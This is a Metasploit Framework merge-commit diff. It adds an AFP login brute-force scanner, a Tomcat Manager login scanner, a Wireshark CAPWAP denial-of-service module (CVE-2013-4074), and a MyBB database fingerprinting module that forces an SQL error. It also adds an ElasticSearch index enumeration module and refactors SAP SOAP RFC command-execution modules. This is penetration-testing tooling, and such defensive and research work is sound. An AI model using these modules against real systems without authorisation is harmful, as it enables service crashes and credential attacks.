Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation
commit
ca4c942ceb
2
Gemfile
2
Gemfile
|
@ -21,6 +21,8 @@ gem 'rkelly-remix', '0.0.6'
|
|||
gem 'robots'
|
||||
# required for Time::TZInfo in ActiveSupport
|
||||
gem 'tzinfo'
|
||||
# Needed for some post modules
|
||||
gem 'sqlite3'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
|
|
|
@ -117,6 +117,7 @@ GEM
|
|||
multi_json (~> 1.0)
|
||||
rack (~> 1.0)
|
||||
tilt (~> 1.1, != 1.3.0)
|
||||
sqlite3 (1.3.9)
|
||||
thor (0.19.1)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.1)
|
||||
|
@ -152,6 +153,7 @@ DEPENDENCIES
|
|||
rspec-rails
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
sqlite3
|
||||
timecop
|
||||
tzinfo
|
||||
yard
|
||||
|
|
|
@ -0,0 +1,323 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module AFP
|
||||
module Client
|
||||
|
||||
def next_id
|
||||
@request_id ||= -1
|
||||
@request_id += 1
|
||||
|
||||
@request_id
|
||||
end
|
||||
|
||||
def get_info
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x03" # Command: FPGetSrvrInfo
|
||||
packet << [next_id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << "\x00\x00\x00\x00" # Length
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
|
||||
sock.put(packet)
|
||||
|
||||
response = sock.timed_read(1024)
|
||||
return parse_info_response(response)
|
||||
end
|
||||
|
||||
def open_session
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x04" # Command: DSIOpenSession
|
||||
packet << [next_id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << "\x00\x00\x00\x06" # Length
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
packet << "\x01" # Attention Quantum
|
||||
packet << "\x04" # Length
|
||||
packet << "\x00\x00\x04\x00" # 1024
|
||||
|
||||
sock.put(packet)
|
||||
|
||||
response = sock.timed_read(1024)
|
||||
return parse_open_session_response(response)
|
||||
end
|
||||
|
||||
def login(user, pass)
|
||||
if user == ''
|
||||
return no_user_authent_login
|
||||
end
|
||||
|
||||
p = OpenSSL::BN.new("BA2873DFB06057D43F2024744CEEE75B", 16)
|
||||
g = OpenSSL::BN.new("7", 10)
|
||||
ra = OpenSSL::BN.new('86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42', 16)
|
||||
ma = g.mod_exp(ra, p)
|
||||
|
||||
padded_user = (user.length + 1) % 2 != 0 ? user + "\x00" : user
|
||||
bin_user = [padded_user.length, padded_user].pack("Ca*")
|
||||
|
||||
length = 18 + bin_user.length + ma.to_s(2).length
|
||||
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x02" # Command: DSICommand
|
||||
packet << [next_id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << [length].pack('N') # Length (42)
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
packet << "\x12" # AFPCommand: FPLogin (18)
|
||||
packet << "\x06\x41\x46\x50\x33\x2e\x31" # AFPVersion: AFP3.1
|
||||
packet << "\x09\x44\x48\x43\x41\x53\x54\x31\x32\x38" #UAM: DHCAST128
|
||||
packet << bin_user # username
|
||||
packet << ma.to_s(2) # random number
|
||||
|
||||
sock.put(packet)
|
||||
|
||||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
||||
case error_code
|
||||
when -5001 #kFPAuthContinue
|
||||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def close_session
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x01" # Command: DSICloseSession
|
||||
packet << [next_id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" #Data offset
|
||||
packet << "\x00\x00\x00\x00" #Length
|
||||
packet << "\x00\x00\x00\x00" #Reserved
|
||||
|
||||
sock.put(packet)
|
||||
end
|
||||
|
||||
def no_user_authent_login
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x02" # Command: DSICommand
|
||||
packet << [next_id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << "\x00\x00\x00\x18" # Length (24)
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
packet << "\x12" # AFPCommand: FPLogin (18)
|
||||
packet << "\x06\x41\x46\x50\x33\x2e\x31" #AFP3.1
|
||||
packet << "\x0f\x4e\x6f\x20\x55\x73\x65\x72\x20\x41\x75\x74\x68\x65\x6e\x74" #UAM: No User Authent
|
||||
|
||||
sock.put(packet)
|
||||
|
||||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
||||
if error_code == 0
|
||||
return :true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def parse_login_response_add_send_login_count(response, data)
|
||||
dhx_s2civ = 'CJalbert'
|
||||
dhx_c2civ = 'LWallace'
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
body = get_body(response, length)
|
||||
id, mb, enc_data = body.unpack("nH32a*")
|
||||
|
||||
mb = OpenSSL::BN.new(mb, 16)
|
||||
k = mb.mod_exp(data[:ra], data[:p] )
|
||||
|
||||
cipher = OpenSSL::Cipher.new('cast5-cbc').decrypt
|
||||
cipher.key = k.to_s(2)
|
||||
cipher.iv = dhx_s2civ
|
||||
cipher.padding = 0
|
||||
|
||||
nonce = cipher.update(enc_data)
|
||||
nonce << cipher.final
|
||||
nonce = nonce[0..15]
|
||||
nonce = OpenSSL::BN.new(nonce, 2) + 1
|
||||
|
||||
plain_text = nonce.to_s(2) + data[:password].ljust(64, "\x00")
|
||||
cipher = OpenSSL::Cipher.new('cast5-cbc').encrypt
|
||||
cipher.key = k.to_s(2)
|
||||
cipher.iv = dhx_c2civ
|
||||
auth_response = cipher.update(plain_text)
|
||||
auth_response << cipher.final
|
||||
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x02" # Command: DSICommand
|
||||
packet << [next_id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << [auth_response.length + 2].pack("N") # Length
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
packet << "\x13" # AFPCommand: FPLoginCont (19)
|
||||
packet << "\x00"
|
||||
packet << [id].pack('n')
|
||||
packet << auth_response
|
||||
|
||||
sock.put(packet)
|
||||
|
||||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
if error_code == 0
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def parse_open_session_response(response)
|
||||
_, _, _, error_code, _, _ = parse_header(response)
|
||||
return error_code == 0 ? true : false
|
||||
end
|
||||
|
||||
def parse_info_response(response)
|
||||
parsed_data = {}
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
|
||||
body = get_body(response, length)
|
||||
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
|
||||
body.unpack('nnnnn')
|
||||
|
||||
server_name_length = body.unpack('@10C').first
|
||||
parsed_data[:server_name] = body.unpack("@11A#{server_name_length}").first
|
||||
|
||||
pos = 11 + server_name_length
|
||||
pos += 1 if pos % 2 != 0 #padding
|
||||
|
||||
server_signature_offset, network_addresses_offset, directory_names_offset,
|
||||
utf8_servername_offset = body.unpack("@#{pos}nnnn")
|
||||
|
||||
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
|
||||
parsed_data[:versions] = read_array(body, afp_versions_offset)
|
||||
parsed_data[:uams] = read_array(body, uam_count_offset)
|
||||
# skiped icon
|
||||
parsed_data[:server_flags] = parse_flags(server_flags)
|
||||
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
|
||||
|
||||
network_addresses = read_array(body, network_addresses_offset, true)
|
||||
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
|
||||
# skiped directory names
|
||||
#Error catching for offset issues on this field. Need better error ahndling all through here
|
||||
begin
|
||||
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
||||
rescue
|
||||
parsed_data[:utf8_server_name] = "N/A"
|
||||
end
|
||||
|
||||
return parsed_data
|
||||
end
|
||||
|
||||
def parse_header(packet)
|
||||
header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order
|
||||
header[3] = packet[4..7].reverse.unpack("l").first
|
||||
return header
|
||||
end
|
||||
|
||||
def get_body(packet, body_length)
|
||||
body = packet[16..body_length + 15]
|
||||
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
|
||||
return body
|
||||
end
|
||||
|
||||
def read_pascal_string(str, offset)
|
||||
length = str.unpack("@#{offset}C").first
|
||||
return str.unpack("@#{offset + 1}A#{length}").first
|
||||
end
|
||||
|
||||
def read_utf8_pascal_string(str, offset)
|
||||
length = str.unpack("@#{offset}n").first
|
||||
return str[offset + 2..offset + length + 1]
|
||||
end
|
||||
|
||||
def read_array(str, offset, afp_network_address=false)
|
||||
size = str.unpack("@#{offset}C").first
|
||||
pos = offset + 1
|
||||
|
||||
result = []
|
||||
size.times do
|
||||
result << read_pascal_string(str, pos)
|
||||
pos += str.unpack("@#{pos}C").first
|
||||
pos += 1 unless afp_network_address
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
def parse_network_addresses(network_addresses)
|
||||
parsed_addreses = []
|
||||
network_addresses.each do |address|
|
||||
case address.unpack('C').first
|
||||
when 0 #Reserved
|
||||
next
|
||||
when 1 # Four-byte IP address
|
||||
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
||||
when 2 # Four-byte IP address followed by a two-byte port number
|
||||
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
||||
when 3 # DDP address (depricated)
|
||||
next
|
||||
when 4 # DNS name (maximum of 254 bytes)
|
||||
parsed_addreses << address[1..address.length - 1]
|
||||
when 5 # This functionality is deprecated.
|
||||
next
|
||||
when 6 # IPv6 address (16 bytes)
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]"
|
||||
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
|
||||
else # Something wrong?
|
||||
raise "Error parsing network addresses"
|
||||
end
|
||||
end
|
||||
return parsed_addreses
|
||||
end
|
||||
|
||||
def parse_flags(flags)
|
||||
flags = flags.to_s(2)
|
||||
result = {}
|
||||
result['Super Client'] = flags[0,1] == '1' ? true : false
|
||||
result['UUIDs'] = flags[5,1] == '1' ? true : false
|
||||
result['UTF8 Server Name'] = flags[6,1] == '1' ? true : false
|
||||
result['Open Directory'] = flags[7,1] == '1' ? true : false
|
||||
result['Reconnect'] = flags[8,1] == '1' ? true : false
|
||||
result['Server Notifications'] = flags[9,1] == '1' ? true : false
|
||||
result['TCP/IP'] = flags[10,1] == '1' ? true : false
|
||||
result['Server Signature'] = flags[11,1] == '1' ? true : false
|
||||
result['Server Messages'] = flags[12,1] == '1' ? true : false
|
||||
result['Password Saving Prohibited'] = flags[13,1] == '1' ? true : false
|
||||
result['Password Changing'] = flags[14,1] == '1' ? true : false
|
||||
result['Copy File'] = flags[5,1] == '1' ? true : false
|
||||
return result
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/afp/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with Apple Filing
|
||||
# Protocol.
|
||||
class AFP
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
include Metasploit::Framework::AFP::Client
|
||||
|
||||
# @!attribute login_timeout
|
||||
# @return [Integer] Number of seconds to wait before giving up
|
||||
attr_accessor :login_timeout
|
||||
|
||||
def attempt_login(credential)
|
||||
begin
|
||||
connect
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
status = :connection_error
|
||||
else
|
||||
success = login(credential.public, credential.private)
|
||||
status = (success == true) ? :success : :failed
|
||||
end
|
||||
|
||||
Result.new(credential: credential, status: status)
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
self.port = 548 if self.port.nil?
|
||||
self.max_send_size = 0 if self.max_send_size.nil?
|
||||
self.send_delay = 0 if self.send_delay.nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -28,7 +28,7 @@ module Metasploit
|
|||
# @option opts [Symbol] :status The status code returned
|
||||
def initialize(opts= {})
|
||||
@access_level = opts.fetch(:access_level, nil)
|
||||
@credential = opts.fetch(:credential)
|
||||
@credential = opts.fetch(:credential)
|
||||
@proof = opts.fetch(:proof, nil)
|
||||
@status = opts.fetch(:status)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# Tomcat Manager login scanner
|
||||
class Tomcat < HTTP
|
||||
|
||||
DEFAULT_PORT = 8180
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.uri = "/manager/html" if self.uri.nil?
|
||||
self.method = "GET" if self.method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -439,7 +439,7 @@ module Msf
|
|||
#
|
||||
def on_request_uri(cli, request)
|
||||
case request.uri
|
||||
when get_resource.chomp("/")
|
||||
when '/', get_resource.chomp("/")
|
||||
#
|
||||
# This is the information gathering stage
|
||||
#
|
||||
|
|
|
@ -314,6 +314,8 @@ class Console::CommandDispatcher::Core
|
|||
print_status("Starting IRB shell")
|
||||
print_status("The 'client' variable holds the meterpreter client\n")
|
||||
|
||||
session = client
|
||||
framework = client.framework
|
||||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
end
|
||||
|
||||
|
|
|
@ -112,12 +112,16 @@ class ClientRequest
|
|||
|
||||
opts['vars_get'].each_pair do |var,val|
|
||||
var = var.to_s
|
||||
val = val.to_s
|
||||
|
||||
qstr << '&' if qstr.length > 0
|
||||
qstr << (opts['encode_params'] ? set_encode_uri(var) : var)
|
||||
qstr << '='
|
||||
qstr << (opts['encode_params'] ? set_encode_uri(val) : val)
|
||||
# support get parameter without value
|
||||
# Example: uri?parameter
|
||||
if val
|
||||
val = val.to_s
|
||||
qstr << '='
|
||||
qstr << (opts['encode_params'] ? set_encode_uri(val) : val)
|
||||
end
|
||||
end
|
||||
|
||||
if (opts['pad_post_params'])
|
||||
|
|
|
@ -0,0 +1,55 @@
|
|||
#
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wireshark CAPWAP Dissector DoS',
|
||||
'Description' => %q{
|
||||
This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
|
||||
to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
|
||||
incomplete packet.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Laurent Butti', # Discovery vulnerability
|
||||
'j0sm1' # Auxiliary msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-4074'],
|
||||
['OSVDB', '94091'],
|
||||
['BID', '60500']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 28 2014'))
|
||||
|
||||
# Protocol capwap needs port 5247 to trigger the dissector in wireshark
|
||||
register_options([ Opt::RPORT(5247) ], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
connect_udp
|
||||
|
||||
# We send a packet incomplete to crash dissector
|
||||
print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
|
||||
# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
|
||||
# the dissector crash
|
||||
# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
|
||||
# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
|
||||
buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
|
||||
udp_sock.put(buf)
|
||||
|
||||
disconnect_udp
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,110 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MyBB Database Fingerprint',
|
||||
'Description' => %q{
|
||||
This module checks if MyBB is running behind an URL. Also uses a malformed query to
|
||||
force an error and fingerprint the backend database used by MyBB on version 1.6.12
|
||||
and prior.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
#http://www.linkedin.com/pub/arthur-karmanovskii/82/923/812
|
||||
'Arthur Karmanovskii <fnsnic[at]gmail.com>' # Discovery and Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Feb 13 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "MyBB forum directory path", '/forum'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
uri = normalize_uri(target_uri.path, 'index.php')
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'vars_get' => {
|
||||
'intcheck' => 1
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
#Check PhP
|
||||
php_version = res['X-Powered-By']
|
||||
if php_version
|
||||
php_version = "#{php_version}"
|
||||
else
|
||||
php_version = "PHP version unknown"
|
||||
end
|
||||
|
||||
#Check Web-Server
|
||||
web_server = res['Server']
|
||||
if web_server
|
||||
web_server = "#{web_server}"
|
||||
else
|
||||
web_server = "unknown web server"
|
||||
end
|
||||
|
||||
#Check forum MyBB
|
||||
if res.body.match("MYBB")
|
||||
print_good("#{peer} - MyBB forum found running on #{web_server} / #{php_version}")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
rescue
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Checking MyBB...")
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
print_error("#{peer} - MyBB not found")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Checking database...")
|
||||
uri = normalize_uri(target_uri.path, 'memberlist.php')
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'vars_get' => {
|
||||
'letter' => -1
|
||||
}
|
||||
})
|
||||
if response.nil?
|
||||
print_error("#{peer} - Timeout...")
|
||||
return
|
||||
end
|
||||
|
||||
#Resolve response
|
||||
if response.body.match(/SELECT COUNT\(\*\) AS users FROM mybb_users u WHERE 1=1 AND u.username NOT REGEXP\(\'\[a-zA-Z\]\'\)/)
|
||||
print_good("#{peer} - Running PostgreSQL Database")
|
||||
elsif response.body.match(/General error\: 1 no such function\: REGEXP/)
|
||||
print_good("#{peer} - Running SQLite Database")
|
||||
else
|
||||
print_status("#{peer} - Running MySQL or unknown database")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,89 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ElasticSearch Indeces Enumeration Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates ElasticSearch Indeces. It uses the REST API
|
||||
in order to make it.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Silas Cutler <Silas.Cutler[at]BlackListThisDomain.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9200)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{peer} - Querying indeces...")
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => '/_aliases',
|
||||
'method' => 'GET',
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable
|
||||
vprint_error("#{peer} - Unable to establish connection")
|
||||
return
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
vprint_error("#{peer} - Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
vprint_error("#{peer} - Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => 'elasticsearch'
|
||||
)
|
||||
|
||||
indeces = []
|
||||
|
||||
json_body.each do |index|
|
||||
indeces.push(index[0])
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:type => "elasticsearch.index",
|
||||
:data => index[0],
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
if indeces.length > 0
|
||||
print_good("#{peer} - ElasticSearch Indeces found: #{indeces.join(", ")}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -70,17 +70,21 @@ class Metasploit4 < Msf::Auxiliary
|
|||
data << '</env:Envelope>'
|
||||
begin
|
||||
print_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}'")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
}
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code == 200
|
||||
if res.body =~ /<h1>Logon failed<\/h1>/
|
||||
|
|
|
@ -118,16 +118,19 @@ class Metasploit4 < Msf::Auxiliary
|
|||
data << '</env:Envelope>'
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(username, password),
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
}
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => client,
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code == 200
|
||||
report_auth_info(
|
||||
|
|
|
@ -93,14 +93,18 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_CALL_SYSTEM request")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code != 500 and res.code != 200
|
||||
|
|
|
@ -94,14 +94,18 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res
|
||||
|
|
|
@ -62,17 +62,20 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_PING request")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
|
||||
'data' => data,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
|
||||
}
|
||||
})
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
|
||||
},
